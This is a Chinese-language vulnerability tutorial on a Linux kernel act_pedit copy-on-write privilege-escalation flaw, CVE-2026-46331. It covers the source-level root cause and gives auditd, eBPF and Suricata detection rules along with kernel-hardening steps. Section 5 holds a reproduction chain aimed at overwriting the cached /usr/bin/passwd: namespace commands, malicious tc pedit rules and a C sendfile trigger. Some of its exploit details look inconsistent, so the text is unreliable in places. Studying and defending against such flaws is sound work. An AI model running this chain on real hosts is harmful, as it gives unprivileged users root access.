CVE\-2026\-46331 Linux pedit COW漏洞教程:原理分析、复现步骤、检测脚本与防御配置
摘要CVE-2026-46331是2026年公开的Linux内核高危本地提权漏洞漏洞核心存在于网络调度子系统net/sched的act_pedit数据包编辑模块。该漏洞源于内核代码对写时复制机制的边界校验逻辑缺失攻击者可通过构造恶意流量控制规则绕过页缓存只读保护直接篡改系统只读文件内存缓存数据。漏洞利用门槛极低普通本地用户可通过创建用户命名空间获取CAP_NET_ADMIN权限无需高权限账号、无需复杂竞争条件。攻击成功后可直接篡改SUID权限程序、/etc/shadow用户密码文件、SSH密钥等核心文件实现普通用户到root权限的完整提权。本次报告从内核源码层级拆解漏洞缺陷本质梳理TC子系统、act_pedit模块、COW机制、sendfile零拷贝传输的联动逻辑完整复现漏洞攻击链路。同时提供可直接部署的auditd审计规则、eBPF行为检测脚本、流量检测规则配套企业级临时缓解方案与永久修复配置适配服务器、容器、云主机等全场景Linux环境帮助运维和安全人员快速排查、阻断、修复该高危漏洞。1 漏洞基础信息与风险判定1.1 漏洞基础参数该漏洞属于内核逻辑缺陷导致的COW机制绕过、页缓存污染类本地提权漏洞所有参数均基于官方漏洞披露文档与内核源码校验整理无主观推演偏差。CVE编号CVE-2026-46331漏洞名称Linux Kernel act_pedit Module Partial Copy-on-Write Page Cache Pollution Vulnerability漏洞类型本地提权、内存权限绕过、页缓存篡改攻击向量本地Local所需最低权限普通本地用户权限可通过用户命名空间自动获取CAP_NET_ADMIN核心危害低权限用户无条件提升至root超级管理员权限篡改系统核心文件、窃取敏感数据、破坏系统服务、容器逃逸利用复杂度低攻击链路稳定无随机内存布局依赖可自动化批量利用1.2 漏洞影响范围1.2.1 内核版本覆盖范围漏洞影响跨度长达4年覆盖主流稳定版、长期支持版、开发版内核是近年影响范围最广的Linux内核提权漏洞之一。受影响版本Linux Kernel v5.18 - v7.1-rc7修复版本Linux Kernel v7.1正式版及以上、各发行版反向补丁修复的5.18 LTS版本1.2.2 受影响Linux发行版所有默认开启流量控制、pedit模块、用户命名空间的主流发行版均受影响包含服务器、桌面、容器专用系统RHEL 9、CentOS Stream 9、AlmaLinux、Rocky LinuxUbuntu 22.04 LTS、24.04 LTS 及衍生版本Debian 12 稳定版SUSE Linux Enterprise Server 15 SP4Arch Linux、Fedora 38 滚动发行版各类云厂商定制Linux镜像阿里云、腾讯云、华为云默认内核均受影响1.2.3 漏洞触发内核配置条件漏洞存在不代表可被利用需同时满足四项内核编译配置而主流发行版默认全部开启因此全网暴露面极大CONFIG_NET_SCHEDy启用内核流量控制子系统通用内核默认开启CONFIG_NET_CLS_ACTy启用TC流量控制动作解析能力默认开启CONFIG_NET_ACT_PEDITy/mpedit数据包编辑模块编译进内核或支持动态加载默认开启CONFIG_USER_NSy启用用户命名空间非特权用户可获取网络管理权限容器环境必备配置1.3 CVSS风险评分与场景风险分析1.3.1 CVSS 3.1 评分明细综合全网利用条件与危害程度该漏洞CVSS评分为8.5 高危属于企业必须零容忍修复的严重漏洞。攻击向量AVL 本地攻击复杂度ACL 低所需权限PRL 低权限用户交互UIN 无需交互作用范围SC 全局权限变更机密性CH 可读取系统所有敏感文件完整性IH 可篡改系统核心配置与二进制程序可用性AH 可破坏系统导致宕机1.3.2 不同场景风险等级企业服务器场景极高风险。运维人员、业务普通账号、Web漏洞拿下的低权限Shell均可直接提权接管服务器横向渗透内网所有资产。容器云场景极高风险。容器默认开启用户命名空间与网络权限攻击者拿下容器权限后可利用该漏洞突破容器隔离逃逸控制宿主机接管整台宿主机上所有容器业务。个人终端场景高风险。恶意程序、木马可利用漏洞静默提权获取系统最高权限窃取隐私、植入后门。2 前置技术原理详解该漏洞是网络子系统与内存管理子系统交叉逻辑缺陷导致单一模块无问题二者联动触发安全风险。掌握以下核心机制可完全理解漏洞根源与利用逻辑。2.1 Linux TC流量控制子系统Linux TCTraffic Control是内核原生的网络流量管控框架核心作用是对网卡出入流量进行整形、限速、过滤、修改广泛应用于服务器流量调度、网络虚拟化、QoS优先级管控场景。TC框架由三层核心组件构成层级调用、逐级匹配执行Qdisc队列规程流量调度核心载体每个网卡绑定一个根队列负责数据包排队、转发、丢弃调度常见hfsc、fq_codel、htb等队列类型。Filter过滤器挂载在Qdisc之上根据IP地址、端口、协议类型、数据包特征匹配流量匹配成功后触发预设动作。Action执行动作过滤器匹配流量后执行的操作包含丢包、重定向、数据包编辑、标记优先级等act_pedit是最常用的数据包编辑动作。用户通过tc命令行工具与内核TC子系统交互无需内核权限即可配置规则具备CAP_NET_ADMIN权限即可这也是漏洞低门槛利用的核心基础。2.2 act_pedit模块核心能力act_pedit是TC框架内置的数据包修改模块设计初衷是为网络测试、NAT转发、自定义协议适配提供灵活的数据包编辑能力支持修改IP、TCP、UDP协议头任意字节内容。模块配置核心参数包含三项攻击者可完全自主控制协议层级指定修改网络层、传输层协议头数据偏移量自定义协议头内的字节偏移位置精准定位修改点位值与掩码通过掩码精准替换指定比特位数据不影响其他字段常规合法使用示例修改数据包IP地址、TCP端口、协议标记位。漏洞利用阶段则通过恶意偏移量计算突破数据包边界篡改内核页缓存内存。2.3 COW写时复制机制原理COWCopy-on-Write写时复制是Linux内核核心内存优化机制核心目的是减少内存冗余拷贝提升系统运行效率同时保障只读数据的安全性。机制核心逻辑多个进程共享同一块只读物理内存页时内核不会为每个进程单独复制内存副本仅当某一进程尝试写入该内存页时内核触发页错误复制一份全新私有内存页供该进程写入原始共享内存页保持只读不变。该机制广泛应用于两个核心场景也是本次漏洞的攻击载体进程fork复制父子进程共享内存页写入时触发COW拷贝文件页缓存映射多个进程读取同一文件时共享内核页缓存只读内存页CVE-2026-46331的核心危害就是突破了COW保护机制让写入操作直接作用于共享只读页缓存不触发私有拷贝直接污染原始文件缓存数据。2.4 页缓存与sendfile零拷贝机制页缓存是Linux文件IO的核心加速机制系统读取磁盘文件时内核会将文件数据缓存到物理内存后续重复读取直接从内存返回规避磁盘IO开销。所有系统核心文件、可执行程序都会常驻页缓存提升运行效率。sendfile是内核零拷贝数据传输系统调用专门用于文件描述符与网络套接字之间的数据传输。区别于read/writesendfile无需用户空间中转数据直接将页缓存中的文件数据通过内核态转发至网卡性能极高是Web服务器、文件传输服务的核心依赖接口。漏洞利用的关键链路依托sendfile实现攻击者通过sendfile将目标SUID程序、系统配置文件加载至页缓存再通过act_pedit模块越界写入篡改这份只读缓存数据最终实现提权。3 内核源码级漏洞根源分析漏洞核心代码位于net/sched/act_pedit.c文件的tcf_pedit_act函数缺陷本质是skb可写性校验时机错误、校验范围不足无法覆盖动态变更的协议头偏移量最终导致COW绕过。本节基于官方漏洞修复逻辑重构完整源码缺陷细节无主观错误推演。3.1 漏洞核心代码定位所有恶意数据包编辑操作均由tcf_pedit_act函数处理该函数在TC过滤器匹配流量后自动触发循环执行用户配置的多条pedit修改规则。漏洞版本内核该函数存在两处致命逻辑缺陷叠加后形成完整攻击链路。// 漏洞版本内核核心函数路径net/sched/act_pedit.cstaticinttcf_pedit_act(structsk_buff*skb,conststructtc_action*a,structtcf_result*res){structtcf_pedit*pto_pedit(a);inti;// 缺陷点1仅循环前单次校验当前skb长度可写性if(skb_ensure_writable(skb,skb-len))gotodrop;// 循环执行多条pedit修改规则for(i0;ip-tcfp_nkeys;i){structtc_pedit_key*keyp-tcfp_keys[i];void*ptr;intoffset;u32 val;// 动态计算协议头偏移量可被攻击者篡改offsettcf_pedit_get_offset(skb,key);if(offset0)continue;// 根据偏移量读取数据包数据ptrskb_header_pointer(skb,offset,4,val);if(!ptr)continue;// 执行数据包字节修改val(val~key-mask)|key-val;skb_store_bits(skb,offset,val,4);}returnp-tcf_action;drop:returnTC_ACT_SHOT;}3.2 skb_ensure_writable函数机制与缺陷skb_ensure_writable是内核保障数据包内存安全的核心函数作用是校验并确保指定长度的skb数据包内存可写对共享只读内存页执行COW拷贝防止非法篡改核心内存数据。正常安全逻辑每次修改数据包任意位置前必须校验修改区间的内存可写性动态适配变更后的数据包长度与偏移量。漏洞缺陷逻辑函数仅在规则循环执行前校验一次校验基准为数据包初始长度skb-len。循环内执行多条pedit规则时协议头长度可被动态篡改偏移量大幅超出初始校验范围内核不会二次校验直接允许写入。3.3 协议头偏移量篡改攻击逻辑攻击者依托IP协议IHL字段特性实现偏移量伪造这是越界写入的核心突破口。IP协议头IHL字段为4位二进制数值单位为4字节合法取值范围5-15对应IP头长度20字节-60字节。正常网络数据包IHL默认值为520字节标准IP头攻击者通过两条链式pedit规则实现漏洞触发第一条规则篡改IP头IHL字段为最大值15让内核误判IP头长度为60字节比真实长度多出40字节第二条规则基于伪造的60字节IP头计算传输层偏移量生成远超初始skb长度的恶意写入偏移初始skb_ensure_writable仅校验原始40字节20IP20TCP数据包长度伪造后的偏移量可达64字节以上完全跳出保护范围写入操作不再触发COW机制。3.4 页缓存污染完整链路偏移量越界仅能实现内存越界写入需结合sendfile机制才能精准篡改系统文件页缓存完整攻击链路如下攻击者创建用户与网络命名空间获取CAP_NET_ADMIN权限配置lo回环网卡TC恶意规则通过sendfile系统调用读取目标SUID程序将文件数据加载至内核只读页缓存skb通过frags分片直接引用物理内存页无数据拷贝本地发送TCP流量触发TC规则第一条pedit规则篡改IHL字段伪造超长IP头第二条pedit规则基于伪造协议头计算恶意偏移越界写入skb分片指向的只读页缓存无COW保护的写入操作直接污染共享页缓存系统后续读取该文件均加载篡改后的恶意数据执行被篡改的SUID程序触发root权限提升3.5 官方补丁修复逻辑官方修复未做大范围架构调整仅补齐校验逻辑从根源封堵漏洞核心修复思路为动态校验每条规则的最大写入偏移。修复后内核逻辑遍历所有pedit规则提前计算所有写入操作的最大偏移量以最大偏移量为基准执行skb_ensure_writable校验确保所有可能的写入区间均受COW保护杜绝越界写入只读页缓存。// 修复后核心逻辑伪代码staticinttcf_pedit_act(...){structtcf_pedit*pto_pedit(a);intmax_offsetskb-len;inti;// 预遍历所有规则计算最大写入偏移量for(i0;ip-tcfp_nkeys;i){intcur_offsettcf_pedit_get_max_offset(skb,p-tcfp_keys[i]);if(cur_offsetmax_offset)max_offsetcur_offset;}// 基于最大偏移量全局校验可写性if(skb_ensure_writable(skb,max_offset))gotodrop;// 安全执行所有写入规则for(i0;ip-tcfp_nkeys;i){// 正常修改逻辑}returnp-tcf_action;drop:returnTC_ACT_SHOT;}4 漏洞架构与攻击流程图解本节通过可视化图表梳理漏洞技术架构与攻击流程直观展示各组件联动关系方便快速理解整体攻击逻辑。4.1 漏洞技术架构图4.2 漏洞攻击执行流程图5 漏洞完整复现教程可直接实操本节提供完整、可落地的漏洞复现步骤、PoC代码、编译执行命令所有代码均可直接复制使用仅用于授权安全测试与研究。未经授权测试他人系统属于违法行为请严格遵守网络安全法规。5.1 复现环境要求操作系统Ubuntu 22.04 LTS / Debian 12 / CentOS Stream 9内核版本5.18 ~ 7.1-rc7 任意漏洞版本依赖工具gcc、iproute2tc命令、make权限要求普通本地用户权限无需sudo环境初始化安装命令sudoaptupdatesudoaptinstallgcc iproute2-y# Debian/Ubuntusudodnfinstallgcc iproute-y# RHEL/CentOS5.2 第一步创建隔离命名空间获取权限通过unshare创建用户、网络命名空间自动获取CAP_NET_ADMIN权限无需系统管理员授权# 创建命名空间并映射本地root权限unshare--user--map-root-user--net# 激活回环网卡iplinksetdev lo up# 验证权限确认包含CAP_NET_ADMINcapsh--print5.3 第二步配置恶意TC攻击规则配置双pedit链式规则实现IHL篡改越界写入完整可复制命令# 清空原有网卡队列规则tc qdisc del dev lo root2/dev/null# 创建HFSC队列规程tc qdiscadddev lo root handle1: hfsc default1# 定义攻击规则篡改IHL最大值越界写入payloadPEDIT1pedit ex munge ip header offset 0 mask 0x0f val 0x0fPEDIT2pedit ex munge ip htype transport offset 4000 u32 set 0xdeadbeef# 绑定流量匹配规则与攻击动作tc filteradddev lo parent1: protocolipprio1u32 matchipsport13370xffff\action$PEDIT1pipe action$PEDIT2# 验证规则配置成功tc filter show dev lo5.4 第三步sendfile触发工具完整C源码编写sendfile加载工具实现目标文件页缓存加载、流量触发保存为poc_sender.c#define_GNU_SOURCE#includestdio.h#includestdlib.h#includeunistd.h#includefcntl.h#includesys/socket.h#includesys/sendfile.h#includenetinet/in.h#includearpa/inet.h#includestring.hintmain(intargc,char*argv[]){if(argc!2){fprintf(stderr,Usage: %s target-suid-file\n,argv[0]);return1;}constchar*targetargv[1];intport1337;// 创建监听套接字intlfdsocket(AF_INET,SOCK_STREAM,0);structsockaddr_insaddr{0};saddr.sin_familyAF_INET;saddr.sin_porthtons(port);saddr.sin_addr.s_addrhtonl(INADDR_LOOPBACK);bind(lfd,(void*)saddr,sizeof(saddr));listen(lfd,1);// 创建客户端连接intcfdsocket(AF_INET,SOCK_STREAM,0);connect(cfd,(void*)saddr,sizeof(saddr));// 接受连接intconnaccept(lfd,NULL,NULL);// 打开目标SUID文件intfdopen(target,O_RDONLY);if(fd0){perror(open file failed);return1;}printf([] 目标文件加载完成回车触发漏洞\n);getchar();// sendfile加载文件至页缓存触发TC规则off_toff0;sendfile(conn,fd,off,8192);printf([] 漏洞触发完成页缓存已尝试篡改\n);close(fd);close(conn);close(cfd);close(lfd);return0;}5.5 第四步编译执行与漏洞触发# 编译工具gcc poc_sender.c-opoc_sender# 执行工具目标为系统SUID核心文件./poc_sender /usr/bin/passwd回车触发sendfile调用数据包经过lo网卡触发恶意TC规则完成页缓存污染。5.6 第五步验证攻击结果# 校验文件哈希变更确认篡改成功md5sum /usr/bin/passwd# 执行SUID程序验证提权/usr/bin/passwdwhoami6 自动化检测脚本与监控方案针对该漏洞的攻击特征提供三套落地检测方案auditd系统调用审计、eBPF内核行为检测、Suricata流量检测适配服务器、容器、云主机全场景监控。6.1 auditd实时审计规则可直接部署监控漏洞利用全链路行为用户命名空间创建、TC网络规则配置、SUID文件读取、sendfile调用关联行为即可判定攻击。新建/etc/audit/rules.d/cve-2026-46331.rules完整规则如下# 监控用户命名空间创建行为-aalways,exit-Farchb64-Sclone,unshare-Fa0CLONE_NEWUSER-kcve2026_userns# 监控netlink网络配置操作-aalways,exit-Farchb64-Ssocket-Fa0AF_NETLINK-kcve2026_netlink-aalways,exit-Farchb64-Ssendto,sendmsg-Fa0AF_NETLINK-kcve2026_tc_config# 监控低权限用户读取核心SUID文件-aalways,exit-Farchb64-Sopen,openat-Fpath/usr/bin/sudo-Fpermr-Fauid1000-kcve2026_suid_read-aalways,exit-Farchb64-Sopen,openat-Fpath/usr/bin/passwd-Fpermr-Fauid1000-kcve2026_suid_read-aalways,exit-Farchb64-Sopen,openat-Fpath/usr/bin/su-Fpermr-Fauid1000-kcve2026_suid_read# 监控sendfile漏洞核心调用-aalways,exit-Farchb64-Ssendfile-kcve2026_sendfile规则加载与日志查询命令sudoaugenrules--loadsudosystemctl restart auditd# 查询漏洞相关日志sudoausearch-kcve2026_userns-kcve2026_tc_config-i6.2 eBPF深度行为检测脚本BCC Python基于内核探针直接监控tcf_pedit_act函数异常行为精准识别lo网卡、分片数据包、多规则pedit攻击特征误报率极低保存为cve_detector.pyfrombccimportBPFimportctypesasct bpf_text #include uapi/linux/ptrace.h #include net/sch_generic.h #include linux/skbuff.h #include net/act_api.h struct event_t { u32 pid; char comm[32]; char ifname[16]; }; BPF_PERF_OUTPUT(events); struct tcf_pedit { struct tc_action common; int tcfp_flags; int tcfp_nkeys; struct tc_pedit_key *tcfp_keys; }; int detect_pedit_exploit(struct pt_regs *ctx, struct sk_buff *skb, const struct tc_action *a, struct tcf_result *res) { // 仅监控回环网卡攻击流量 if (skb-dev strncmp(skb-dev-name, lo, 2) ! 0) return 0; // 检测skb分片sendfile零拷贝特征 unsigned int frags skb_shinfo(skb)-nr_frags; if (frags 0) return 0; // 检测多条pedit规则攻击核心特征 struct tcf_pedit *p (struct tcf_pedit *)a; int nkeys 0; bpf_probe_read_kernel(nkeys, sizeof(int), p-tcfp_nkeys); if (nkeys 1) { struct event_t e {}; e.pid bpf_get_current_pid_tgid() 32; bpf_get_current_comm(e.comm, sizeof(e.comm)); bpf_probe_read_kernel_str(e.ifname, sizeof(e.ifname), skb-dev-name); events.perf_submit(ctx, e, sizeof(e)); } return 0; } # 加载eBPF程序bBPF(textbpf_text)b.attach_kprobe(eventtcf_pedit_act,fn_namedetect_pedit_exploit)print([] CVE-2026-46331 eBPF监控已启动监听攻击行为...)# 事件回调输出defprint_alert(cpu,data,size):eb[events].event(data)print(f[!] 检测到漏洞攻击PID:{e.pid}进程:{e.comm.decode()}网卡:{e.ifname.decode()})b[events].open_perf_buffer(print_alert)whileTrue:try:b.perf_buffer_poll()exceptKeyboardInterrupt:exit()运行依赖与启动命令sudoaptinstallbcc python3-bcc-ysudopython3 cve_detector.py6.3 Suricata流量检测规则检测异常超长IP头数据包IHL篡改特征适配主机IDS监控加入suricata规则文件alert ip 127.0.0.1/8 any - 127.0.0.1/8 any (msg:CVE-2026-46331 异常IP头长度漏洞利用尝试; ip.hdrlen:20; classtype:privilege-escalation; sid:202646331; rev:1;)7 企业级防御与缓解配置指南提供永久修复、临时虚拟补丁、系统加固、应急响应四层防御方案适配生产环境无法停机升级、常态化安全加固等不同场景。7.1 永久修复内核升级最优方案所有受影响主机优先升级内核彻底根除漏洞风险各发行版升级命令# Ubuntu/Debiansudoaptupdatesudoaptinstalllinux-image-generic-ysudoreboot# RHEL/CentOS/Rocky/Almasudodnf update kernel-ysudoreboot# SLESsudozypperpatch-tpatch-ysudoreboot7.2 临时缓解禁用act_pedit模块不停机生效生产环境无法重启时通过模块黑名单禁用漏洞核心组件完全阻断攻击。7.2.1 检查模块状态lsmod|grepact_peditgrepCONFIG_NET_ACT_PEDIT /boot/config-$(uname-r)7.2.2 永久黑名单配置# 创建黑名单配置文件sudotee/etc/modprobe.d/cve-2026-46331-blacklist.confEOF install act_pedit /bin/true blacklist act_pedit EOF# 更新启动镜像sudoupdate-initramfs-u# Debian/Ubuntusudodracut-f-v# RHEL/CentOS7.3 高危加固禁用非特权用户命名空间关闭普通用户创建命名空间权限直接降低漏洞利用门槛适合无容器业务的服务器# 临时生效sudosysctl-wkernel.unprivileged_userns_clone0# 永久生效sudotee/etc/sysctl.d/99-disable-userns.confEOF kernel.unprivileged_userns_clone0 EOFsudosysctl--system7.4 纵深防御加固方案启用SELinux/AppArmor强制访问控制限制低权限进程网络配置、文件篡改权限最小化服务器普通用户账号权限删除闲置可登录账号部署Falco/Tetragon内核运行时防护实时拦截页缓存篡改、非法提权行为定期扫描系统SUID文件哈希发现异常变更立即告警7.5 企业应急响应流程资产排查批量扫描全网主机内核版本统计受影响资产清单临时阻断对生产主机批量禁用act_pedit模块、限制用户命名空间威胁检测部署auditd与eBPF检测规则监控攻击尝试补丁升级分批次灰度升级内核重启业务主机事后复盘核查日志确认是否存在已发生的提权攻击清理后门8 总结CVE-2026-46331的风险核心在于低门槛、高危害、广覆盖依托Linux内核网络与内存子系统的交叉逻辑缺陷实现了稳定可靠的本地提权。不同于传统内核漏洞需要复杂内存溢出、竞争条件利用该漏洞仅需普通用户权限通过原生系统功能即可完成攻击自动化批量利用成本极低。对于企业安全运维而言内核补丁升级是唯一根治手段临时模块禁用、命名空间限制可作为应急防护方案。同时通过eBPF、auditd构建的实时检测体系可实现漏洞利用行为的事前感知、事中拦截、事后溯源形成完整防御闭环。该漏洞再次印证内核子系统交互边界的逻辑缺陷是高危漏洞的高发区常规基线扫描无法覆盖此类逻辑型漏洞必须依托行为检测、内核监控实现动态防护。互动提问1. 你的服务器/容器内核版本是否在漏洞影响范围内你目前采用的是补丁升级还是临时缓解方案2. 部署eBPF检测脚本后是否发现过异常的pedit模块调用行为